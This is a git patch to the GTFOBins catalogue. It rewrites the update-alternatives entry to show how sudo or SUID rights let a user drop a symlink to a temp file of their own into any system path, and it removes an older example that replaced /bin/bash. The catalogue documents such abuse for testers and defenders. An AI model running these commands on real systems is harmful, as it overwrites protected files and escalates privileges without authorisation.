From 22899a515901fdf84dd59ed64d275336006540ba Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 17 Nov 2020 18:51:32 +0100 Subject: [PATCH] Improve update-alternatives --- _gtfobins/update-alternatives.md | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/_gtfobins/update-alternatives.md b/_gtfobins/update-alternatives.md index a1f4cd7..fbc568e 100644 --- a/_gtfobins/update-alternatives.md +++ b/_gtfobins/update-alternatives.md @@ -1,8 +1,17 @@ --- functions: sudo: - - description: Replace existing binary with symlink pointing to user supplied binary + - description: Write in `$LFILE` a symlink to `$TF`. code: | - cp file_to_replace_bash /tmp/bash - sudo update-alternatives --force --install /bin/bash bash /tmp/bash 1 + LFILE=/path/to/file_to_write + TF=$(mktemp) + echo DATA >$TF + sudo update-alternatives --force --install "$LFILE" x "$TF" 0 + suid: + - description: Write in `$LFILE` a symlink to `$TF`. + code: | + LFILE=/path/to/file_to_write + TF=$(mktemp) + echo DATA >$TF + ./update-alternatives --force --install "$LFILE" x "$TF" 0 ---